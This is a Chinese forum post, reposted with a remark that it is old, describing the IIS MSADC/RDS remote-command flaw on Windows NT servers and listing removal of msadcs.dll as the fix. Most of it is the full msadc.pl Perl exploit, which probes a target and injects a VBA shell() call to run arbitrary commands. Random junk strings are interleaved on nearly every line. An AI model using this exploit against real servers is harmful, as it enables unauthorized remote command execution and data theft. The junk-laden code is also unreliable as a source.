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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]<*-pRN  
KjNA PfL  
涉及程序: /os,s[w  
Microsoft NT server L"tzUYxg  
zMXQfR   
描述: |Zk2]eUO+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b]b+PK*h  
~JS BZ@  
详细: `tPVNO,l  
如果你没有时间读详细内容的话,就删除: (2Z k fN  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [Qqomm.[\w  
有关的安全问题就没有了。 3oOr*N3R  
6E#znRi6IE  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^~;"$=Wf  
7|PB6h3  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 +^DDWVp  
关于利用ODBC远程漏洞的描述,请参看: QnA~,z/ .w  
}n( ?|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .>a [  
{SkE`u4Sz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 = inp>L  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp o/6VOX  
#\8"d  
这里不再论述。 ij,Rq`}l  
v&qL r+_7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 2e9.U/9  
}a%1$>sj  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset EO`eg]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w,az{\  
aD+4uGN  
a*&(cn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" T I|h  
;pw9+zo ^M  
#!perl fKW)h?.Kd  
# E)`:sSd9  
# MSADC/RDS 'usage' (aka exploit) script P~M[i9 V  
# #U(kK(uO  
# by rain.forest.puppy `&9iC 4P  
# Ms#rvn!J  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me p,.6sk  
# beta test and find errors! N%F4ug@i   
suS[P?4  
use Socket; use Getopt::Std; b Rc,Y<  
getopts("e:vd:h:XR", \%args); n?778Wo}  
$XI.`L *g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; M-Ek(K3SRf  
B@U'7`v  
if (!defined $args{h} && !defined $args{R}) { q B IekQT  
print qq~ \n`/?\r.z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4T-"\tmg/  
-h <host> = host you want to scan (ip or domain) xnf J ruT  
-d <seconds> = delay between calls, default 1 second uBl&{$<  
-X = dump Index Server path table, if available ? G`6}NP  
-v = verbose )$h!lAo  
-e = external dictionary file for step 5 J&iSS9c  
_X|prIOb=  
Or a -R will resume a command session WvZt~x&2  
c5_/i7  
~; exit;} iu?gZVyka  
Bi2 c5[3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 2qot(Zs1i  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} K3Bw3j 9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d'"|Qg_'  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); F{4v[WP)  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} U\u07^h[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ez5J+  
tpb lm|sW  
if (!defined $args{R}){ $ret = &has_msadc; %fnG v\uI  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Y1ks'=c>  
W*Si"s2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  o*Xfgc  
. "cmd /c "; Cv@)tb  
$in=<STDIN>; chomp $in; n.rn+nuwv  
$command="cmd /c " . $in ; 5DDSo0E  
VEpcCK  
if (defined $args{R}) {&load; exit;} =Oq *9=v|  
T(qTipq0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;: &|DN3;  
&try_btcustmr; ):_@i  
=P%&]5ts  
print "\nStep 2: Trying to make our own DSN..."; ;{aGEOP'U  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `U=Jbdc l3  
Af\  
print "\nStep 3: Trying known DSNs..."; p="0Y<2l  
&known_dsn; v2I? 5?j  
v<t?t<|J  
print "\nStep 4: Trying known .mdbs..."; e_|Z&  
&known_mdb; )o<^6Ic%7  
KIcIYCBz  
if (defined $args{e}){ sPG500=)  
print "\nStep 5: Trying dictionary of DSN names..."; qvLh7]sbK:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } "%)g^Atp>  
KIi:5Y  
print "Sorry Charley...maybe next time?\n"; R*!s'R  
exit; \ @ fKKb|  
<:Mz2Rg  
############################################################################## @TQ/Z$y  
FZ?:BX^  
sub sendraw { # ripped and modded from whisker 5.*,IedY  
sleep($delay); # it's a DoS on the server! At least on mine... lKB9n}P  
my ($pstr)=@_; ,zdGY]$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || j!w{  
die("Socket problems\n"); Gx8!AmeX  
if(connect(S,pack "SnA4x8",2,80,$target)){ y|)VNnWM  
select(S); $|=1; }W'4(V;:  
print $pstr; my @in=<S>; 2l O(f+  
select(STDOUT); close(S); ^86M 94k  
return @in; zPc"r$'0 U  
} else { die("Can't connect...\n"); }} h=0a9vIXF  
i%JJ+9N  
############################################################################## Ix6\5}.c9  
0ki- /{;  
sub make_header { # make the HTTP request NhCucSU<K  
my $msadc=<<EOT P1Z"}Qw  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 E*u*LMm  
User-Agent: ACTIVEDATA !6 L!%Oi  
Host: $ip 1f<R,>  
Content-Length: $clen :dh; @kp  
Connection: Keep-Alive p<{P#?4 g  
OxYAM,F  
ADCClientVersion:01.06 [gpO?'~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gHp*QL\?9  
F3EAjO)ch  
--!ADM!ROX!YOUR!WORLD! +8C }%6aX  
Content-Type: application/x-varg 1C8xJ6F  
Content-Length: $reqlen n."n?C'{  
|$b8(g$s)  
EOT Z3weFbCH  
; $msadc=~s/\n/\r\n/g; IJ&Lk=2E]  
return $msadc;} >7PQOQMW'  
MzX&|wimb  
############################################################################## =T,Q7Dh  
Sz@z 0'  
sub make_req { # make the RDS request T{k_3[{0o  
my ($switch, $p1, $p2)=@_; Gk{ 'U  
my $req=""; my $t1, $t2, $query, $dsn; !9WGZfK+0Y  
gK QJ^a\!  
if ($switch==1){ # this is the btcustmr.mdb query >]pZ;e$  
$query="Select * from Customers where City=" . make_shell(); 9e=}P L  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . L?j0t*do  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} j(Lz& *4  
P*A+k"DU1  
elsif ($switch==2){ # this is general make table query Yu\$Y0 {]  
$query="create table AZZ (B int, C varchar(10))"; fJ[ ^_,O  
$dsn="$p1";} m~5 unB9  
s`_EkFw>Gl  
elsif ($switch==3){ # this is general exploit table query h/t;ZLUAZP  
$query="select * from AZZ where C=" . make_shell(); $j.;$~F  
$dsn="$p1";} 1oej<67PdJ  
)b #5rQ  
elsif ($switch==4){ # attempt to hork file info from index server hqvhnqQk  
$query="select path from scope()"; V!+iq*Z|=  
$dsn="Provider=MSIDXS;";} $C;i}q#  
}[;ZZm?  
elsif ($switch==5){ # bad query 8&G9 ?n`I5  
$query="select"; 9L:wfg}8s  
$dsn="$p1";} S(Afo`  
W|m(Jh[w]  
$t1= make_unicode($query); 46}U +>  
$t2= make_unicode($dsn); AQUAQZc  
$req = "\x02\x00\x03\x00"; TvDSs])  
$req.= "\x08\x00" . pack ("S1", length($t1)); =^rt?F4  
$req.= "\x00\x00" . $t1 ; lc[6Mpi7s[  
$req.= "\x08\x00" . pack ("S1", length($t2)); ywAvqT,  
$req.= "\x00\x00" . $t2 ; (s,&,I=@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ID2->J  
return $req;} ~ tA ^K  
FC] *^B  
############################################################################## .oyAi||  
P|<V0 Vs.  
sub make_shell { # this makes the shell() statement ZKXE7p i  
return "'|shell(\"$command\")|'";} P!W%KobZ7|  
q$:7j5E  
############################################################################## 5_aj]"x  
k_,7#:+  
sub make_unicode { # quick little function to convert to unicode QQS*r}>  
my ($in)=@_; my $out; =G:Krc8w@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } |@u2/U9  
return $out;} O~*i_t*i9{  
~i"=:D  
############################################################################## F<,pAxl~@  
3p=Xv%xd  
sub rdo_success { # checks for RDO return success (this is kludge) x(TF4W=j  
my (@in) = @_; my $base=content_start(@in); ks0Q+YW  
if($in[$base]=~/multipart\/mixed/){ k9}8xpH  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %=UD~5!G0  
return 0;} iAk:CJ{  
9jTBLp-i#N  
############################################################################## {Nl?  
[t?tLUg|6  
sub make_dsn { # this makes a DSN for us o'#& =h$_  
my @drives=("c","d","e","f"); S&` 6pN  
print "\nMaking DSN: "; gB'ajX=OA/  
foreach $drive (@drives) { y''~j<'  
print "$drive: "; a yA;6Qt  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . u2oS Ci  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i wgt\ux.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); e,xL~P{|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; FMVAXOO  
return 0 if $2 eq "404"; # not found/doesn't exist /y G34) aB  
if($2 eq "200") { =HCEUB9Fs  
foreach $line (@results) { -i`jS_-Cv-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} .7.lr[$g  
} return 0;} 2T&MVl!%  
PY5&Fwjc  
############################################################################## 7#R)+  
~.W]x~X$  
sub verify_exists { ~S/oW89  
my ($page)=@_; bFG~08Z ,d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); idYB.]Y(  
return $results[0];} eTa_RO,x  
@:}c(j  
############################################################################## y|6n:<o  
^/ "}_bR  
sub try_btcustmr { [<#j K}g  
my @drives=("c","d","e","f"); Op%OQ14$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VvyRZMR  
kkq1:\pZ]a  
foreach $dir (@dirs) { ab2FK  
print "$dir -> "; # fun status so you can see progress =\O#F88ui  
foreach $drive (@drives) { -{\(s=%  
print "$drive: "; # ditto Keh=>K)T  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >5 -1?vi  
$reqlenlen=length( "$reqlen" ); G4@r_VP\  
$clen= 206 + $reqlenlen + $reqlen; *D?_,s  
$X#y9<bW  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <N vw*yA  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1p}H,\o  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oV vA`}  
Z_q+Ac{p  
############################################################################## .^wpfS  
f!x9%  
sub odbc_error { ZA(u"T~  
my (@in)=@_; my $base; 1,fR kQ  
my $base = content_start(@in); r^~+ <"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :0r,.)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e=0]8l>\V  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zKd@Ab  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sUG!dwqqd  
return $in[$base+4].$in[$base+5].$in[$base+6];} 3(WijtH  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2`4m"DtA  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . FgH7YkKrD  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} [[$C tqLg  
 gHe:o`  
############################################################################## \V>5)R n  
0vv~G\yM  
sub verbose { }p~2lOI  
my ($in)=@_; l8oaDL\f  
return if !$verbose; NI s7v  
print STDOUT "\n$in\n";} Mh)? A/e  
]=~dyi  
############################################################################## OS z71;j  
8gS7$ EH'  
sub save { 8FuxN2  
my ($p1, $p2, $p3, $p4)=@_; ).71gp@&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; iww/s  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 'S_i6K  
close OUT;} %hVR|K|J  
RNk|h  
############################################################################## 1{a%V$S[  
DG;7+2U  
sub load { C8-7XQ=B:b  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; oai=1vt@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); IbI0".o  
@p=<IN>; close(IN); GKt."[seV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); yqx5_}  
$target= inet_aton($ip) || die("inet_aton problems"); 4,)9@-|0R  
print "Resuming to $ip ..."; 1$&@wG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; L_Ok?9$  
if($p[1]==1) { 4'O,xC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; bT ,_=7F  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; PT~htG<Fw  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); pkn^K+<n,  
if (rdo_success(@results)){print "Success!\n";} /7UvV60  
else { print "failed\n"; verbose(odbc_error(@results));}} iXMJ1\!q\|  
elsif ($p[1]==3){ ;XN|dq  
if(run_query("$p[3]")){ "8f4s|@ 3  
print "Success!\n";} else { print "failed\n"; }} yNvAT>H  
elsif ($p[1]==4){ QL7b<xDQC*  
if(run_query($drvst . "$p[3]")){ Tc^ 0W=h  
print "Success!\n"; } else { print "failed\n"; }} *~^63Nx!  
exit;} 0>{ ]*  
uVEJV |^/  
############################################################################## 27SHj9I  
RIMSXue*Ha  
sub create_table { yx]9rD1cz  
my ($in)=@_; :c/54Ss~  
$reqlen=length( make_req(2,$in,"") ) - 28; uBlPwb,V  
$reqlenlen=length( "$reqlen" ); *JJ8\R&P0  
$clen= 206 + $reqlenlen + $reqlen; ;5tOQ&p%v  
my @results=sendraw(make_header() . make_req(2,$in,"")); :{%[6lE^G  
return 1 if rdo_success(@results); 2^o7 ^S  
my $temp= odbc_error(@results); verbose($temp); es)^^kGj6f  
return 1 if $temp=~/Table 'AZZ' already exists/; ` s7pM  
return 0;} aw*]b.f  
DB|1Sqjsn  
############################################################################## ^^b'tP1>  
.a@12J(I  
sub known_dsn { V%8(zt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go KsKE#])&l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", r9ulTv}X  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", J p?XV<3Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); h.EI(Ev"GN  
E{\CE1*  
foreach $dSn (@dsns) { cB uuq  
print "."; r!Eh}0bL  
next if (!is_access("DSN=$dSn")); w ,j*I7V  
if(create_table("DSN=$dSn")){ mh3S?Uc  
print "$dSn successful\n"; ZO<,V  
if(run_query("DSN=$dSn")){ `DYhGk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S`kOtZ_N n  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P73GH  
qX@e+&4P0  
############################################################################## QY;(Ny/(y  
!UoA6C:  
sub is_access { D{+@ ,C7B  
my ($in)=@_; a3yNd  
$reqlen=length( make_req(5,$in,"") ) - 28; <\#'o}  
$reqlenlen=length( "$reqlen" ); *)E${\1'<  
$clen= 206 + $reqlenlen + $reqlen; d"FB+$  
my @results=sendraw(make_header() . make_req(5,$in,"")); 'ZF6Z9  
my $temp= odbc_error(@results); KL_ /f   
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !y d B,S  
return 0;} R #wZW&N  
n#">k%bD  
############################################################################## 2d .$V,U<  
*Ypn@YpSp  
sub run_query {  t;o\"H  
my ($in)=@_; @;4;72@O  
$reqlen=length( make_req(3,$in,"") ) - 28; =dAAb\:  
$reqlenlen=length( "$reqlen" ); Ih.+-!w  
$clen= 206 + $reqlenlen + $reqlen; AX v q~XE  
my @results=sendraw(make_header() . make_req(3,$in,"")); uyYV_Q0~;  
return 1 if rdo_success(@results); Qf~>5(,h  
my $temp= odbc_error(@results); verbose($temp); V}s/knd  
return 0;} _.JQ h   
:BPgDLL,  
############################################################################## Eg)24C R 4  
(%B{=w}8  
sub known_mdb { H\>{<`sD;f  
my @drives=("c","d","e","f","g"); @AZNF+ \W$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yI^Yh{  
my $dir, $drive, $mdb; !,`'VQw$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :H&Q!\a  
uz!8=,DFw  
# this is sparse, because I don't know of many p7|I>8ur.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", d'';0[W)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", X~r9yl>  
"\\system32\\certmdb.mdb", 1 m'.wh|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )-4c@  
MZt#T+b  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", :`N&BV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TanWCt4r  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", hQ|mow@Zmz  
"\\cfusion\\cfapps\\security\\realm_.mdb", 5k0iVpjQ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", xrg"/?84  
"\\cfusion\\database\\cfexamples.mdb", eke[{%L  
"\\cfusion\\database\\cfsnippets.mdb", Cu+p!hV  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {]dxFhe)  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3= =["hO  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ?,$:~O* w  
"\\cfusion\\database\\smpolicy.mdb", d~<$J9%  
"\\cfusion\\database\cypress.mdb", ;KQU% k$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", S(PV*e8  
"\\website\\cgi-win\\dbsample.mdb", J@-'IJ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ??/bI~Sd  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zx$YNjeV  
); #these are just b\"F6TF:  
foreach $drive (@drives) { M+&~sX*a  
foreach $dir (@dirs){ RnH?95n?{  
foreach $mdb (@sysmdbs) { Xe);LhDC  
print "."; Y~}MfRE3z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ LLgw1 @-D  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; No7-fX1B  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9Kd=GL_  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8ae`V!5  
} else { print "Something's borked. Use verbose next time\n"; }}}}} c[-N A  
7rdmj[vu  
foreach $drive (@drives) { Nr*l3Z>LD  
foreach $mdb (@mdbs) { &| (K#|^@  
print "."; "pDU v^ie  
if(create_table($drv . $drive . $dir . $mdb)){ ;T^s&/>E  
print "\n" . $drive . $dir . $mdb . " successful\n"; ={B C0,  
if(run_query($drv . $drive . $dir . $mdb)){ |5vJ:'`I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; hrKeOwKHU  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8]#FvgX  
} 25OQY.>bE  
+t,b/K(?]  
############################################################################## 4 ?BQ&d  
eX"%b(;s  
sub hork_idx { e`0C0GaP  
print "\nAttempting to dump Index Server tables...\n"; XNa{_3v  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; q?LOtN? o  
$reqlen=length( make_req(4,"","") ) - 28; 1`?o#w  
$reqlenlen=length( "$reqlen" ); b]u=I za  
$clen= 206 + $reqlenlen + $reqlen; r%;|gIky  
my @results=sendraw2(make_header() . make_req(4,"","")); Y7S1^'E 3  
if (rdo_success(@results)){ ^KbR@Ah  
my $max=@results; my $c; my %d; --]blP7  
for($c=19; $c<$max; $c++){ 9Z -2MF  
$results[$c]=~s/\x00//g; 5J`w8[;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; %X_A#9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; XuP%/\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; W"%n5)  
$d{"$1$2"}="";}  GAfc9  
foreach $c (keys %d){ print "$c\n"; } W7!Rf7TK  
} else {print "Index server doesn't seem to be installed.\n"; }} I q|'#hs  
2(d  
############################################################################## UwW@}cy,L  
;jgf,fbM  
sub dsn_dict { pBAAwHD  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `RY}g;  
while(<IN>){ N-l`U(Z~P  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;y-JR$M  
next if (!is_access("DSN=$dSn")); L$Z!  
if(create_table("DSN=$dSn")){ Nd( I RsH(  
print "$dSn successful\n"; rTR$\ [C  
if(run_query("DSN=$dSn")){ \Hb!<mrp  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;I5P<7VW  
print "Something's borked. Use verbose next time\n";}}} jIaaNO)  
print "\n"; close(IN);} /cClV"S*G  
N%Bl+7,q  
############################################################################## B\ 'rxbH  
h_ t`)]-  
sub sendraw2 { # ripped and modded from whisker -|'@ :cIZ  
sleep($delay); # it's a DoS on the server! At least on mine... -Jd7  
my ($pstr)=@_; Z+V%~C1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ox SSEs  
die("Socket problems\n"); 1R_@C.I  
if(connect(S,pack "SnA4x8",2,80,$target)){ w&IYCYK_  
print "Connected. Getting data"; O\7x+^.  
open(OUT,">raw.out"); my @in; Q7u|^Gu,5  
select(S); $|=1; print $pstr; 6c+29@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Pac ^=|h<q  
close(OUT); select(STDOUT); close(S); return @in; t!wbT79/  
} else { die("Can't connect...\n"); }} 9L7z<ntn  
X(Af`KOg[  
############################################################################## 6Zpa[,gm  
"6]oi*_8  
sub content_start { # this will take in the server headers G739Ne[gL  
my (@in)=@_; my $c; G9x l-ag+z  
for ($c=1;$c<500;$c++) { iAe"oXK|  
if($in[$c] =~/^\x0d\x0a/){ "`K_5"F  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #reR<qp&]  
else { return $c+1; }}} + _ehzo97  
return -1;} # it should never get here actually 12i`82>;  
k|xmZA*  
############################################################################## DzhLb8k  
T} \>8EEG  
sub funky { _9D]1f=&  
my (@in)=@_; my $error=odbc_error(@in); 3T(ft^~  
if($error=~/ADO could not find the specified provider/){ HpbwW=;V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3^Is4H_8  
exit;} +Q"s!\5  
if($error=~/A Handler is required/){ R;AcAJ;  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7/&taw%i  
exit;} yq, qS0Fo  
if($error=~/specified Handler has denied Access/){ .z CkB86  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5<X"+`=9  
exit;}} )j]f ]8  
j^/<:e c.  
############################################################################## f`vWCb  
^Zpz@T>m  
sub has_msadc { Mb_"M7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); % A 5s?J?  
my $base=content_start(@results); Q~^v=ye  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); &hVf=We  
return 0;} ,P`:`XQ>_B  
[)}`w;#  
######################## =WF@S1  
Fu?_<G%Ynp  
w)go79  
解决方案: c9gm%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Lniz>gSc  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 E08!a  
Ai%Wt-  
拿出来充数 哈哈
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